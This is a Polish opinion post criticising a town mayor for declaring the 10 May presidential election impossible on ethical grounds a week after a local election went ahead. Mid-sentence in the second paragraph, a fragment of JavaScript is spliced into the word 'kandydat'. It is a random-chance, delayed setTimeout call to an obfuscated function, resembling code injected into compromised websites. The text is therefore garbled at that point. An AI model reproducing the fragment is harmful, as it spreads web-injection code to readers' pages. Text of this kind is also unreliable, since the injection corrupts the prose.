Nagle pani burmistrz zrobiła się etyczna.

Na stronie Urzędu ukazała się informacja, że pani burmistrz wystosowała pismo do komisarza wyborczego, w którym informuje o niemożliwości przeprowadzenia wyborów prezydenckich 10 maja, ze względów jak to ujęto w komentarzu ze względów etycznych i technicznych. Dość ciekawe ujęcie tematu tydzień po wyborach w Bemowie Piskim. Skoro tu jest nieetyczne, to czemu tydzień temu było etyczne?

Ktoś może powiedzieć, że zadaję to pytanie, bo kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydat popierany przeze mnie przegrał. Oczywiście ma rację, ponieważ wiele osób jasno mówi, że gdyby nie koronawirus to poszliby głosować i wtedy wynik nie byłby taki jak tydzień temu. Etyka jak widać nie zawsze taka ważna, bo kiedy chodzi o naszą wygraną to etyka nie obowiązuje. Jak widać na załączonym obrazku pani burmistrz wpisała się w wiele samorządowych reakcji na datę majowych wyborów. Oczywiście w pełni tą decyzję popieram, tylko chciałbym, żeby pani burmistrz wzięła pod uwagę wszystkie okoliczności. Bo teraz PiS powie, no jak to pani burmistrz tydzień temu była komisja i byli nawet tacy, co dowozili do głosowania i wtedy nikt się nie bał, że się zarazi, a teraz się boi?

Tak to w życiu bywa, że czasami niektóre decyzje wykluczają siebie nawzajem. Nawet te, które z etycznego punktu widzenia są słuszne. Bo przecież ludzkie życie jest najważniejsze. Chociaż patrząc jak nasza burmistrz zachowuje się w kwestii zarażonego pacjenta z naszej Gminy, to trudno mi w ogóle uchwycić jakąkolwiek równowagę w tym co robi. Tak to pani burmistrz nie da się mieć dwóch twarzy w jednej sprawie, bo wypada się blado w oczach ludzi. Pewnie źle się pani z tym wszystkim czuje, ale to pani jest autorką tego całego bałaganu. Oby się pani wreszcie odnalazła, bo na razie pani ta Gminą zarządza, chociaż słowo „zarządza” chyba nie do końca odpowiada temu co pani robi.